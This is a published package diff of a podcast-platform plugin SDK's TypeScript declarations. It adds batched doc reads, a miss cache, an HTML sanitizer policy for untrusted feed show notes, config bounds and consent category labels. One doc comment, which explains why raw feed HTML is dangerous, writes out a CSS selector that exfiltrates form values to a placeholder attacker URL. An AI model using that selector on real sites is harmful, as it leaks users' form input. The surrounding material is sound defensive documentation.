@mosaicast/plugin-sdk 0.15.0 → 0.16.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.d.ts CHANGED
@@ -17,7 +17,7 @@
17
17
  * rejects a mismatch at startup (ARCHITECTURE §7.2). While the SDK is pre-1.0 a breaking change is
18
18
  * therefore a *minor* bump; from `1.0.0` on, breaking means major.
19
19
  */
20
- export declare const PLATFORM_API_VERSION: '0.15.0';
20
+ export declare const PLATFORM_API_VERSION: '0.16.1';
21
21
  /** A user's role (ARCHITECTURE §8.5). Anonymous visitors have no role (`user` is `null`). */
22
22
  export type Role = 'admin' | 'podcaster' | 'fan';
23
23
  /**
@@ -112,10 +112,29 @@ export interface ThemeTokens {
112
112
  text: string;
113
113
  /** Muted/secondary text color. */
114
114
  textMuted: string;
115
- /** Accent color. */
115
+ /**
116
+ * The accent as the admin chose it — for **fills** (buttons, badges, bars), paired with
117
+ * {@link accentContrast} for whatever sits on top.
118
+ *
119
+ * **Not for text, links or focus rings.** The seed is not contrast-checked against the page: a pale
120
+ * choice such as `#FFF176` measured 1.12:1 as link text. Use {@link accentText} (`--mc-accent-text`)
121
+ * for anything read or anything that marks focus.
122
+ */
116
123
  accent: string;
117
124
  /** Readable text color on top of {@link accent}. */
118
125
  accentContrast: string;
126
+ /**
127
+ * The accent clamped to WCAG AA (4.5:1) against both {@link bg} and {@link surface} — for **text,
128
+ * links and focus rings**, where {@link accent} may be unreadable.
129
+ *
130
+ * Optional because a host older than `0.16.0` does not send it. The host also sets
131
+ * `--mc-accent-text` on `:root`, which inherits through the shadow boundary, so in CSS
132
+ * `color: var(--mc-accent-text)` works whether or not this field is present. The SDK writes it onto
133
+ * `:host` only when it is.
134
+ *
135
+ * @since 0.16.0
136
+ */
137
+ accentText?: string;
119
138
  /** Optional secondary accent. */
120
139
  accent2?: string;
121
140
  /** Border/divider color. */
@@ -167,7 +186,9 @@ export interface PagedDocs<T = unknown> {
167
186
  *
168
187
  * ```text
169
188
  * GET /api/plugins/{id}/data/{scopeType}/{scopeId}/{key}
170
- * → one JSON doc; 404 if absent
189
+ * → one JSON doc; 204 (no body) if the key is not set
190
+ * GET /api/plugins/{id}/data/{scopeType}?ids=a,b&keys=x,y
191
+ * → { a: { x: … }, b: {} } — misses absent; ≤ 100 ids and ≤ 100 keys (since 0.16.0)
171
192
  * GET /api/plugins/{id}/data/{scopeType}/{scopeId}?prefix=&page=&size=
172
193
  * → { items: [{ key, value }], page, size, totalElements, totalPages }
173
194
  * PUT /api/plugins/{id}/data/{scopeType}/{scopeId}/{key} (JSON body)
@@ -188,7 +209,8 @@ export interface PagedDocs<T = unknown> {
188
209
  * The doc a backend writes with `ctx.store().put(scope, key, value)` is the one read here at
189
210
  * `GET /api/plugins/{id}/data/{scopeType}/{scopeId}/{key}`: one store, two ends. The `user` scope is the
190
211
  * exception — it exists only here. A backend has no calling user, so it cannot write a user partition at
191
- * all and reads them only in aggregate, through the Java `DocStore.queryAcrossUsers(prefix)`.
212
+ * all and reads them only in aggregate, through the Java `ctx.allUsers().query(prefix)` — which the
213
+ * manifest has to declare ({@link PluginDataDeclaration.readsAllUsers}).
192
214
  *
193
215
  * ## Where per-user data goes
194
216
  *
@@ -253,7 +275,7 @@ export interface PagedDocs<T = unknown> {
253
275
  * await ctx.api.delete(`${mine}/${key}`); // idempotent
254
276
  *
255
277
  * // A leaderboard is not built here: the backend aggregates every user's marks with
256
- * // queryAcrossUsers(...) and writes the result to `${shared}/leaderboard` for this component to read.
278
+ * // ctx.allUsers().query(...) and writes the result to `${shared}/leaderboard` for this component to read.
257
279
  * // If the manifest declares that key backendOwned, a PUT to it from here is a 403 — by design.
258
280
  * const board = await ctx.api.get<Leaderboard>(`${shared}/leaderboard`);
259
281
  * ```
@@ -262,13 +284,16 @@ export interface PluginApiClient {
262
284
  /**
263
285
  * GET a path, resolving to the parsed JSON body.
264
286
  *
265
- * Rejects with a {@link PluginApiError} on any non-2xx response — **including 404**, which is the
266
- * normal answer for a document that does not exist yet. Prefer {@link getOrNull} when absence is an
267
- * expected outcome rather than a failure.
287
+ * Rejects with a {@link PluginApiError} on any non-2xx response. A document that is simply not set
288
+ * answers **204** (since 0.16.0; it was a 404 before), which this resolves as **`undefined`** — so a
289
+ * raw `get` of a doc path can come back empty. Prefer {@link getOrNull}, or better `ctx.docs.get`,
290
+ * when absence is an expected outcome rather than a failure. A 404 now means the *address* is wrong:
291
+ * an unknown or disabled plugin, an unknown scope.
268
292
  */
269
293
  get<T = unknown>(path: string): Promise<T>;
270
294
  /**
271
- * Like {@link get}, but resolves **`null`** on a 404 instead of rejecting.
295
+ * Like {@link get}, but resolves **`null`** for an absent document — the host's 204 — and on a 404
296
+ * instead of rejecting.
272
297
  *
273
298
  * "Nothing saved yet" is the ordinary state of a doc-store key, so every plugin ends up writing
274
299
  * `get(path).catch(() => undefined)` — which also swallows the 500, the 403 from the read floor and
@@ -278,7 +303,7 @@ export interface PluginApiClient {
278
303
  * Every other non-2xx still rejects with a {@link PluginApiError}.
279
304
  *
280
305
  * @param path the path relative to the plugin's base
281
- * @returns the parsed body, or `null` when the host answered 404
306
+ * @returns the parsed body, or `null` when the host answered 204 or 404
282
307
  * @since 0.9.0
283
308
  */
284
309
  getOrNull<T = unknown>(path: string): Promise<T | null>;
@@ -359,6 +384,14 @@ export declare function isPluginApiError(e: unknown): e is PluginApiError;
359
384
  * @since 0.9.0
360
385
  */
361
386
  export declare const DOC_KEY_PATTERN: RegExp;
387
+ /**
388
+ * The most scope ids, and the most keys, one {@link DocClient.getMany} request carries — the host's
389
+ * per-request ceiling. The client splits a larger call for you, so this is for sizing, not a limit you
390
+ * have to enforce.
391
+ *
392
+ * @since 0.16.0
393
+ */
394
+ export declare const DOC_BATCH_LIMIT = 100;
362
395
  /**
363
396
  * Which partition a {@link DocClient} call addresses.
364
397
  *
@@ -373,7 +406,7 @@ export declare const DOC_KEY_PATTERN: RegExp;
373
406
  export type DocTarget = Scope | 'self' | 'site';
374
407
  /**
375
408
  * A typed client for this plugin's doc store — the same endpoints {@link PluginApiClient} reaches, with
376
- * the path building, the key validation and the 404 handling done for you.
409
+ * the path building, the key validation and the absence handling done for you.
377
410
  *
378
411
  * Every doc access before this was string concatenation against a four-segment path, with the plugin
379
412
  * responsible for `encodeURIComponent`, for {@link DOC_KEY_PATTERN}, for knowing that `site` is always
@@ -402,11 +435,31 @@ export type DocTarget = Scope | 'self' | 'site';
402
435
  * unknown scope, the 401 on an anonymous `user` request. See {@link PluginApiClient} for all of it;
403
436
  * that client stays available as the escape hatch for anything this does not cover.
404
437
  *
438
+ * ## What it remembers for you (guaranteed since 0.16.0)
439
+ *
440
+ * "This episode has no highlight" is the **normal** answer for an optional per-episode document, and a
441
+ * tile asks for its keys every time it renders. Measured before these guarantees: 98% of one session's
442
+ * 3,737 plugin requests were answers of "not set", one key asked 178 times. So the host's client
443
+ * promises, per plugin and per signed-in identity, for the life of the page:
444
+ *
445
+ * 1. **Identical `get`s in flight share one request.**
446
+ * 2. **A miss is remembered.** A key the host answered "not set" resolves `null` without a round trip
447
+ * from then on — misses from {@link getMany} included.
448
+ * 3. **Your own writes are seen.** `put` and `remove` through this client forget the address they
449
+ * touched, so reading back what you just stored returns it rather than the earlier miss.
450
+ * 4. **Hits are never cached.** A document another session wrote shows up on the next render.
451
+ * 5. **An error is never remembered** — a 404 (unknown plugin or scope) or a 5xx is retried next time.
452
+ *
453
+ * What that means for your code: a cache of **misses** of your own is unnecessary — delete it. A cache
454
+ * of **hits** is allowed but harmful the moment it outlives a write made elsewhere; if you keep one,
455
+ * scope it to a render. And for more than one scope, use {@link getMany}: one request for a whole page
456
+ * of cards instead of one per card per key.
457
+ *
405
458
  * @since 0.9.0
406
459
  */
407
460
  export interface DocClient {
408
461
  /**
409
- * One document, or **`null`** when there is none.
462
+ * One document, or **`null`** when there is none (the host's 204).
410
463
  *
411
464
  * Null rather than a rejection: absence is the ordinary state of a key nothing has written yet, and
412
465
  * making it an exception is what produced the `catch` that also swallowed every real failure. Other
@@ -417,6 +470,33 @@ export interface DocClient {
417
470
  * @throws Error synchronously-thrown-as-rejection if the key is malformed
418
471
  */
419
472
  get<T = unknown>(target: DocTarget, key: string): Promise<T | null>;
473
+ /**
474
+ * The same keys across many scopes of one level, in one request — what a page of episode cards needs.
475
+ *
476
+ * ```ts
477
+ * const slugs = ctx.episodes.slice(0, 20);
478
+ * const docs = await ctx.docs.getMany<Highlight>('episode', slugs, ['highlight', 'template']);
479
+ * for (const slug of slugs) render(slug, docs[slug]?.highlight ?? null);
480
+ * ```
481
+ *
482
+ * The answer maps scope id → key → value, and **a miss is simply absent**: no `null`, no error — an
483
+ * id with nothing set may be missing entirely or map to `{}`. Every access rule of {@link get} applies
484
+ * per id: the same read floor, and an id the caller may not address rejects the whole call with a
485
+ * {@link PluginApiError} rather than being quietly skipped.
486
+ *
487
+ * More than {@link DOC_BATCH_LIMIT} ids or keys is **split** into several requests and merged, so you
488
+ * never see the host's per-request ceiling. An empty `ids` or `keys` resolves `{}` without a request.
489
+ * Misses feed the same memory {@link get} uses, so a later `get` of one costs nothing.
490
+ *
491
+ * Not for `user` scope: there is one caller partition, and `get('self', key)` reads it.
492
+ *
493
+ * @param type the scope level every id belongs to
494
+ * @param ids scope ids at that level — episode slugs, feed ids, `'main'` for the site
495
+ * @param keys document keys; each must match {@link DOC_KEY_PATTERN}
496
+ * @throws Error synchronously-thrown-as-rejection if a key is malformed
497
+ * @since 0.16.0
498
+ */
499
+ getMany<T = unknown>(type: Scope['type'], ids: string[], keys: string[]): Promise<Record<string, Record<string, T>>>;
420
500
  /**
421
501
  * Upserts a document. Last-write-wins, as everywhere on this store.
422
502
  *
@@ -995,8 +1075,34 @@ export declare function matchRoute<P extends string>(path: string, patterns: rea
995
1075
  export interface DisplaySnapshot {
996
1076
  /** The episode title from the feed. */
997
1077
  title: string;
998
- /** The episode description/show notes; may be empty. */
1078
+ /**
1079
+ * The episode's show notes **exactly as the third-party feed published them** — HTML; may be empty.
1080
+ *
1081
+ * **Untrusted input. Never assign it to `innerHTML` as it stands.** The host does not sanitize this
1082
+ * field: it is whatever the podcast host put in the feed, fetched over the network, and anyone who can
1083
+ * edit that feed controls it. The shell renders the same string only through its own sanitizer; a
1084
+ * plugin that inserts it raw gets markup and CSS injection on a page with `style-src 'unsafe-inline'` —
1085
+ * a full-viewport overlay, or attribute-selector CSS that exfiltrates form values. Either:
1086
+ *
1087
+ * - show {@link descriptionText} (plain text — the right choice for a card or a teaser), or
1088
+ * - pass it through {@link PluginContext.sanitize} first, which applies the shell's own policy.
1089
+ *
1090
+ * ```ts
1091
+ * body.innerHTML = ctx.sanitize(snap.description); // never: body.innerHTML = snap.description
1092
+ * ```
1093
+ */
999
1094
  description: string;
1095
+ /**
1096
+ * The same show notes as **plain text** — tags removed and entities decoded by the host. Never absent;
1097
+ * empty when the feed has no description.
1098
+ *
1099
+ * Safe to put in `textContent` as it stands, and what a card, a teaser, a tooltip or a search excerpt
1100
+ * should use. Whitespace between block elements is collapsed to single spaces, so it is one run of
1101
+ * prose, not a layout.
1102
+ *
1103
+ * @since 0.16.0
1104
+ */
1105
+ descriptionText: string;
1000
1106
  /** The enclosure audio URL; absent for a `PLANNED` episode with no audio yet. */
1001
1107
  audioUrl?: string;
1002
1108
  /** The publication timestamp (ISO-8601 instant); absent for a `PLANNED` episode. */
@@ -1032,6 +1138,70 @@ export declare function resolveArtwork(snapshot: DisplaySnapshot): string | unde
1032
1138
  * @since 0.9.0
1033
1139
  */
1034
1140
  export declare const DISPLAY_BATCH_LIMIT = 200;
1141
+ /**
1142
+ * The HTML policy the host applies to third-party markup — mirror of the shell's feed-HTML sanitizer,
1143
+ * and what {@link PluginContext.sanitize} applies.
1144
+ *
1145
+ * Plain data, so the SDK stays dependency-free and the host can import this one object instead of
1146
+ * keeping a copy. The names map onto DOMPurify's config keys (`ALLOWED_TAGS`, `ALLOWED_ATTR`, `FORBID_TAGS`,
1147
+ * `FORBID_ATTR`, `ALLOWED_URI_REGEXP`) for a plugin that must run its own sanitizer somewhere `ctx` does not
1148
+ * reach — **but the lists alone are not the policy**: DOMPurify also needs `ALLOW_DATA_ATTR: false`,
1149
+ * `ALLOW_ARIA_ATTR: false` and `ADD_URI_SAFE_ATTR` set to every allowed attribute but `href` and `src`, or it
1150
+ * keeps attributes the list does not name and strips ones it does (core#232). Prefer `ctx.sanitize`, which is
1151
+ * the same decision without a dependency or those traps.
1152
+ *
1153
+ * ## Why not DOMPurify's defaults
1154
+ *
1155
+ * The defaults are built to stop *script execution*, and they do. They also permit `<style>` and the
1156
+ * `style` attribute, filtering CSS only for `expression()` and `behavior:`, not for `url()`. The plugin
1157
+ * contract requires `style-src 'unsafe-inline'` (Web Components style their shadow roots), and `img-src`
1158
+ * stays open to any `https:` origin because artwork comes from arbitrary feed hosts. Together that makes
1159
+ * any unsanitized stylesheet reachable, with two measured consequences:
1160
+ *
1161
+ * - a fixed, full-viewport, high-`z-index` block is **click-jacking** over the site chrome;
1162
+ * - `input[value^="a"]{background-image:url(https://attacker/a)}` **exfiltrates** rendered form values
1163
+ * one character at a time.
1164
+ *
1165
+ * So the lists are narrow and explicit: prose, links, lists, tables and images. Widening one is a
1166
+ * decision somebody makes on purpose; inheriting a default is a decision nobody made.
1167
+ *
1168
+ * @since 0.16.0
1169
+ */
1170
+ export declare const FEED_HTML_POLICY: Readonly<{
1171
+ /**
1172
+ * Every element that survives. Anything else is unwrapped — the element goes, its text stays — except
1173
+ * elements whose content is never prose (`script`, `style`, `template`, `iframe`, `svg`, …), which go
1174
+ * with their content.
1175
+ */
1176
+ allowedTags: readonly string[];
1177
+ /**
1178
+ * Every attribute that survives, on any allowed element — **and nothing else**: no `data-*`, no `aria-*`,
1179
+ * no `class`, no `id`. A plugin may therefore mark its *own* elements with `data-*` and trust that an
1180
+ * author's markup cannot carry the same marker. Only `href` and `src` are held to
1181
+ * {@link allowedUriRegexp}; every other listed attribute keeps whatever value it has.
1182
+ *
1183
+ * `start` (on `<ol>`, since 0.16.1) keeps a list that resumes after an image or a code block numbered
1184
+ * where it left off. `align` (since 0.16.1) is obsolete HTML, but the only way Markdown table alignment
1185
+ * reaches the page without `style`, which this policy refuses; the worst it does elsewhere is float an image.
1186
+ */
1187
+ allowedAttrs: readonly string[];
1188
+ /**
1189
+ * Elements that never survive, even if a later edit adds them to `allowedTags` — belt and braces, so
1190
+ * widening one list cannot quietly reopen what this policy exists to close.
1191
+ */
1192
+ forbidTags: readonly string[];
1193
+ /** Attributes removed even if a later edit adds them to `allowedAttrs`. */
1194
+ forbidAttrs: readonly string[];
1195
+ /**
1196
+ * What an `href` or `src` may start with, after surrounding whitespace is trimmed; anything else
1197
+ * (`javascript:`, `data:`) is dropped. **One exception, on `<img src>` only:** a `data:` URI is kept — the
1198
+ * host's sanitizer (DOMPurify) allows inline images whatever this pattern says, and an image cannot run
1199
+ * script, so the policy states it rather than pretending otherwise. A `data:` link is still dropped.
1200
+ */
1201
+ allowedUriRegexp: RegExp;
1202
+ /** The `rel` put on every link that leaves the site, next to `target="_blank"`. */
1203
+ externalLinkRel: string;
1204
+ }>;
1035
1205
  /**
1036
1206
  * Read access to episode display snapshots — the frontend half of the Java `FeedAccess`.
1037
1207
  *
@@ -1055,6 +1225,9 @@ export declare const DISPLAY_BATCH_LIMIT = 200;
1055
1225
  * refetch. That is a feature — a feed edit propagates — and the reason to read it live rather than copy
1056
1226
  * it. Cache per render, never per install.
1057
1227
  *
1228
+ * **`description` is untrusted third-party HTML** — see {@link DisplaySnapshot.description}. Show
1229
+ * `descriptionText`, or run `description` through {@link PluginContext.sanitize}; never insert it raw.
1230
+ *
1058
1231
  * ```ts
1059
1232
  * const cards = await ctx.feeds.displayMany(ctx.episodes.slice(0, 20));
1060
1233
  * for (const slug of ctx.episodes) {
@@ -1375,7 +1548,7 @@ export interface NotifyMessage {
1375
1548
  * a person who did not ask for it, so the host draws two lines you cannot move:
1376
1549
  *
1377
1550
  * - **You may only notify users you already hold `user`-scope data for.** Enforced against the same
1378
- * partitions the backend's `queryAcrossUsers` reads: bingo may write to its participants because
1551
+ * partitions the backend's `allUsers().query(...)` reads: bingo may write to its participants because
1379
1552
  * participants have rows, and no plugin can reach a user who never touched it.
1380
1553
  * - **The rate limits are the host's** — per recipient per window, plus a ceiling across all recipients.
1381
1554
  * A limit a plugin enforces is a limit a plugin can drop, so there is no counter here to read.
@@ -1449,8 +1622,9 @@ export interface NotifyClient {
1449
1622
  * assume `has('analytics')` says anything about *which* provider was accepted — it says the category was.
1450
1623
  *
1451
1624
  * If you need a visitor to be able to accept one of your services and refuse another, declare them under
1452
- * **different categories** (a plugin-declared category is allowed, it just has no translated label in the
1453
- * shell). That is the only lever the contract gives you.
1625
+ * **different categories** (a plugin-declared category is allowed; since `0.16.0` give it a label with
1626
+ * {@link PluginConsentCategoryLabel} — without one the shell can only show a generic phrase around the
1627
+ * raw id). That is the only lever the contract gives you.
1454
1628
  *
1455
1629
  * ## `necessary` is never asked about
1456
1630
  *
@@ -1596,6 +1770,21 @@ export interface PluginDataDeclaration {
1596
1770
  * the backend cannot write at all — even a bare `*` leaves those to their owner.
1597
1771
  */
1598
1772
  backendOwned?: string[];
1773
+ /**
1774
+ * Whether this plugin's **backend** may read every user's `user` partition at once — the Java
1775
+ * `ctx.allUsers()`, which is `null` without this.
1776
+ *
1777
+ * It is the one read that crosses an ownership boundary: every account's documents, each with the
1778
+ * owner's UUID. That is a different thing to be told about before installing than "keeps per-user
1779
+ * data", which is all the `user` scope implies — so it is declared, like `blobs`, `identity` and
1780
+ * `notifications`, and absent means no. Declare it for a leaderboard, a rollup, a moderation view.
1781
+ *
1782
+ * Nothing changes for the frontend: a browser only ever reads its own partition, `'self'`, whatever
1783
+ * this says. Until `0.16.0` the capability was `DocStore.queryAcrossUsers` and every plugin had it.
1784
+ *
1785
+ * @since 0.16.0
1786
+ */
1787
+ readsAllUsers?: boolean;
1599
1788
  }
1600
1789
  /**
1601
1790
  * One item a service stores on the visitor's device, as declared in `plugin.json`.
@@ -1671,6 +1860,46 @@ export interface ConsentServiceDeclaration {
1671
1860
  /** Each item the service stores on the visitor's device. */
1672
1861
  storage: ConsentStorageDeclaration[];
1673
1862
  }
1863
+ /**
1864
+ * What a visitor reads for a consent category **your plugin introduced** — one entry of the manifest's
1865
+ * `consent.categoryLabels`, keyed by the category id.
1866
+ *
1867
+ * The category is the thing being consented to, so it is the one plugin-authored string that cannot fall
1868
+ * back to a developer key. The core categories (`necessary`, `functional`, `analytics`) have a title and
1869
+ * an explanation in every shell language; a plugin-declared one such as `social` used to appear as the
1870
+ * bare lowercase word, with nothing to say what it covers, between two that explain themselves.
1871
+ *
1872
+ * ```json
1873
+ * "consent": {
1874
+ * "services": [{ "id": "mastodon", "category": "social", … }],
1875
+ * "categoryLabels": {
1876
+ * "social": {
1877
+ * "label": { "en": "Social media", "de": "Soziale Medien" },
1878
+ * "hint": { "en": "Posts embedded from social networks.", "de": "Eingebettete Beiträge aus sozialen Netzwerken." }
1879
+ * }
1880
+ * }
1881
+ * }
1882
+ * ```
1883
+ *
1884
+ * The rules the host applies:
1885
+ *
1886
+ * - **Declaring a category outside the core vocabulary obliges you to label it.** An unlabelled one still
1887
+ * loads, but the host shows it wrapped in a generic localised phrase ("Other services: social") rather
1888
+ * than as a choice it can explain — which is a worse consent request, not a neutral one.
1889
+ * - **A core category cannot be relabelled.** An entry for `necessary`, `functional` or `analytics` is
1890
+ * refused at load: a plugin rewording what every other plugin's visitors consent to is not a label.
1891
+ * - **An entry must label a category one of your services declares**, and is refused at load otherwise.
1892
+ * - **Two plugins labelling the same category** is resolved by the host, deterministically — the
1893
+ * decision is shared across plugins (see {@link ConsentApi}), so only one label can be shown.
1894
+ *
1895
+ * @since 0.16.0
1896
+ */
1897
+ export interface PluginConsentCategoryLabel {
1898
+ /** The category's name in the consent notice and the settings page — short, like a heading. */
1899
+ label: LocalizedText;
1900
+ /** One sentence under it: what accepting this category lets load, in the visitor's terms. */
1901
+ hint?: LocalizedText;
1902
+ }
1674
1903
  /**
1675
1904
  * The shape of your manifest's `tags` block — whether this plugin reads the site vocabulary, and whether
1676
1905
  * it may tag **episodes**.
@@ -1850,6 +2079,33 @@ export interface PluginConfigField {
1850
2079
  * @since 0.15.0
1851
2080
  */
1852
2081
  options?: PluginConfigOption[];
2082
+ /**
2083
+ * The smallest value a `number` field accepts, inclusive.
2084
+ *
2085
+ * Without it, any number an operator can type is legal — including the `0` that switches a scheduled
2086
+ * task off, or the `-1` that gets it rejected at the next boot. Declare the constraint here rather than
2087
+ * clamping in code, where it runs only after the bad value is stored and the form has said "Saved."
2088
+ *
2089
+ * The host enforces every bound below the same way: an out-of-range write is **refused** with a 400 that
2090
+ * names the bound (never silently clamped); the admin form renders them as input constraints; a manifest
2091
+ * whose `default` breaks its own bounds, whose `min` exceeds its `max`, or that puts a bound on the
2092
+ * wrong type (`min` on a `string`, `maxLength` on a `number`) is refused at load; and a value stored
2093
+ * before a bound existed that now breaks it is treated as **unset**, so the default applies.
2094
+ *
2095
+ * @since 0.16.0
2096
+ */
2097
+ min?: number;
2098
+ /** The largest value a `number` field accepts, inclusive. See {@link min}. @since 0.16.0 */
2099
+ max?: number;
2100
+ /**
2101
+ * The granularity of a `number` field: a value must be `min + k·step` (or `k·step` without `min`).
2102
+ * `1` makes a field whole-numbered. Must be positive. See {@link min}. @since 0.16.0
2103
+ */
2104
+ step?: number;
2105
+ /** The fewest characters a `string` field accepts; `1` makes it non-empty. See {@link min}. @since 0.16.0 */
2106
+ minLength?: number;
2107
+ /** The most characters a `string` field accepts. See {@link min}. @since 0.16.0 */
2108
+ maxLength?: number;
1853
2109
  }
1854
2110
  /** The shape of the manifest's `blobs` block (ARCHITECTURE §11.1). @since 0.9.0 */
1855
2111
  export interface PluginBlobsDeclaration {
@@ -1913,6 +2169,28 @@ export interface PluginExternalDeclaration {
1913
2169
  */
1914
2170
  usedBy?: DataAccessRole;
1915
2171
  }
2172
+ /**
2173
+ * The grammar of `frontend.entry` — mirror of the host's `PluginManifest.FRONTEND_ENTRY_PATTERN`.
2174
+ *
2175
+ * A relative path under the plugin's own `assets/`: one or more `[A-Za-z0-9._-]` segments joined by `/`,
2176
+ * with no leading slash, no `.` or `..` segment, no empty segment, and no query or fragment.
2177
+ *
2178
+ * It is the one manifest string that becomes a URL path, and it was the last one without a grammar: the
2179
+ * shell builds `/plugins/<id>/assets/<entry>` by interpolation, so an entry carrying `../`, `?` or `#`
2180
+ * addressed something other than what its author wrote. The host **rejects** a manifest whose entry does
2181
+ * not match — at load, with the entry named — rather than dropping the field, the same rule
2182
+ * {@link PluginDataDeclaration.backendOwned} follows: a plugin whose bundle silently never loads is worse
2183
+ * than one that fails with a named cause. Test your manifest against this to find out before the host
2184
+ * does.
2185
+ *
2186
+ * ```ts
2187
+ * FRONTEND_ENTRY_PATTERN.test('sample.es.js'); // true
2188
+ * FRONTEND_ENTRY_PATTERN.test('../sample.es.js'); // false
2189
+ * ```
2190
+ *
2191
+ * @since 0.16.0
2192
+ */
2193
+ export declare const FRONTEND_ENTRY_PATTERN: RegExp;
1916
2194
  /**
1917
2195
  * The whole of `plugin.json`, typed.
1918
2196
  *
@@ -1969,7 +2247,12 @@ export interface PluginManifest {
1969
2247
  };
1970
2248
  /** The frontend half: the bundle and the custom elements it registers. */
1971
2249
  frontend?: {
1972
- /** The ES module entry, relative to the plugin's bundle. */
2250
+ /**
2251
+ * The ES module entry, relative to the plugin's own `assets/` — e.g. `sample.es.js`.
2252
+ *
2253
+ * Must match {@link FRONTEND_ENTRY_PATTERN}: `[A-Za-z0-9._-]` segments joined by `/`, no leading
2254
+ * slash, no `.`/`..` segment, no query or fragment. The host rejects the plugin at load otherwise.
2255
+ */
1973
2256
  entry: string;
1974
2257
  /** Every custom-element tag the entry registers. Each `slots[].element` must be one of these. */
1975
2258
  elements: string[];
@@ -1998,7 +2281,13 @@ export interface PluginManifest {
1998
2281
  config?: Record<string, PluginConfigField>;
1999
2282
  /** Third-party services this plugin loads. Omit entirely when it loads none. */
2000
2283
  consent?: {
2284
+ /** Every service, each under the category the visitor decides it by. */
2001
2285
  services: ConsentServiceDeclaration[];
2286
+ /**
2287
+ * Labels for the categories your services introduce, keyed by category id — see
2288
+ * {@link PluginConsentCategoryLabel}. @since 0.16.0
2289
+ */
2290
+ categoryLabels?: Record<string, PluginConsentCategoryLabel>;
2002
2291
  };
2003
2292
  /** The host ignores fields it does not know, so this type does too. */
2004
2293
  [field: string]: unknown;
@@ -2157,7 +2446,7 @@ export interface PluginContext {
2157
2446
  api: PluginApiClient;
2158
2447
  /**
2159
2448
  * A typed client for the same doc store {@link api} reaches — path building, key validation and
2160
- * null-on-404 done for you.
2449
+ * null-when-absent done for you, plus request dedupe and a miss cache — see {@link DocClient}.
2161
2450
  *
2162
2451
  * Never `null`: every plugin has a doc store. `ctx.api` remains the escape hatch for anything this
2163
2452
  * does not cover. See {@link DocClient}, and note `'self'` for the caller's own partition.
@@ -2175,6 +2464,41 @@ export interface PluginContext {
2175
2464
  * @since 0.9.0
2176
2465
  */
2177
2466
  feeds: FeedsClient;
2467
+ /**
2468
+ * Makes HTML your plugin did not write safe to put in `innerHTML` — with **the host's own policy**,
2469
+ * the one the shell applies to feed HTML ({@link FEED_HTML_POLICY}).
2470
+ *
2471
+ * Use it for everything you did not author: a {@link DisplaySnapshot.description}, a user's or a
2472
+ * podcaster's rich text, rendered Markdown, anything fetched. It exists so that a plugin cannot end up
2473
+ * with a *weaker* policy than the host by writing less code: reaching for `DOMPurify.sanitize(html)`
2474
+ * with library defaults lets `<style>` and `style=` through, which is exactly what the host refuses and
2475
+ * why (see {@link FEED_HTML_POLICY}).
2476
+ *
2477
+ * What it does, and nothing else:
2478
+ *
2479
+ * - keeps only the allowed tags and attributes, dropping `<style>`, `<script>`, `<iframe>`, forms and
2480
+ * every `style`, `srcset` and event-handler attribute — including their content where that could run
2481
+ * or style anything;
2482
+ * - drops an `href`/`src` that is not `http(s):`, `mailto:`, `tel:`, `#…` or a `/` path — except a `data:`
2483
+ * image in `<img src>`, which cannot run script and is kept;
2484
+ * - keeps no `data-*`, `aria-*`, `class` or `id` attribute, so your own `data-*` markers cannot be forged;
2485
+ * - gives every link that leaves the site `target="_blank"` and `rel="noopener noreferrer nofollow ugc"`
2486
+ * — following one in the same tab would tear down the SPA and stop the player.
2487
+ *
2488
+ * Synchronous and never `null`: there is nothing to declare, because it grants nothing. Run it on the
2489
+ * **final** HTML, after Markdown rendering — sanitizing the input and then transforming it undoes the
2490
+ * point.
2491
+ *
2492
+ * ```ts
2493
+ * root.querySelector('.notes')!.innerHTML = ctx.sanitize(snap.description);
2494
+ * root.querySelector('.page')!.innerHTML = ctx.sanitize(marked.parse(markdown));
2495
+ * ```
2496
+ *
2497
+ * @param html untrusted HTML; `null`, `undefined` and `''` all give `''`
2498
+ * @returns HTML safe to assign to `innerHTML` inside your shadow root
2499
+ * @since 0.16.0
2500
+ */
2501
+ sanitize(html: string | null | undefined): string;
2178
2502
  /**
2179
2503
  * The site's shared tag vocabulary, or **`null`** when the manifest declares no `tags` block
2180
2504
  * (ARCHITECTURE §6.1).
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAGA;;;;;;;;GAQG;AAEH;;;;;;;;;GASG;AACH,eAAO,MAAM,oBAAoB,EAAG,QAAiB,CAAC;AAEtD,6FAA6F;AAC7F,MAAM,MAAM,IAAI,GAAG,OAAO,GAAG,WAAW,GAAG,KAAK,CAAC;AAEjD;;;;;;;GAOG;AACH,MAAM,MAAM,cAAc,GAAG,IAAI,GAAG,WAAW,CAAC;AAEhD;;;;;GAKG;AACH,MAAM,MAAM,QAAQ,GAAG,OAAO,GAAG,MAAM,GAAG,MAAM,GAAG,OAAO,CAAC;AAE3D;;;;;;GAMG;AACH,MAAM,MAAM,WAAW,GAAG,MAAM,IAAI,CAAC;AAErC;;;;;;;GAOG;AACH,MAAM,WAAW,KAAK;IACpB,uBAAuB;IACvB,IAAI,EAAE,MAAM,GAAG,MAAM,GAAG,QAAQ,GAAG,SAAS,CAAC;IAC7C,qFAAqF;IACrF,EAAE,EAAE,MAAM,CAAC;CACZ;AAED;;;;;;;;GAQG;AACH,MAAM,MAAM,aAAa,GAAG,KAAK,CAAC,MAAM,CAAC,GAAG,MAAM,CAAC;AAEnD;;;;;;;;;GASG;AACH,eAAO,MAAM,aAAa,EAAG,IAAa,CAAC;AAE3C;;;;;;GAMG;AACH,MAAM,WAAW,WAAW;IAC1B,iEAAiE;IACjE,MAAM,CAAC,EAAE,MAAM,CAAC;IAChB,8DAA8D;IAC9D,IAAI,CAAC,EAAE,MAAM,EAAE,CAAC;IAChB,+BAA+B;IAC/B,IAAI,CAAC,EAAE,MAAM,CAAC;IACd,oCAAoC;IACpC,CAAC,IAAI,EAAE,MAAM,GAAG,OAAO,CAAC;CACzB;AAED;;;;;;GAMG;AACH,MAAM,WAAW,WAAW;IAC1B,uBAAuB;IACvB,EAAE,EAAE,MAAM,CAAC;IACX,iCAAiC;IACjC,OAAO,EAAE,MAAM,CAAC;IAChB,0BAA0B;IAC1B,IAAI,EAAE,MAAM,CAAC;IACb,kCAAkC;IAClC,SAAS,EAAE,MAAM,CAAC;IAClB,oBAAoB;IACpB,MAAM,EAAE,MAAM,CAAC;IACf,oDAAoD;IACpD,cAAc,EAAE,MAAM,CAAC;IACvB,iCAAiC;IACjC,OAAO,C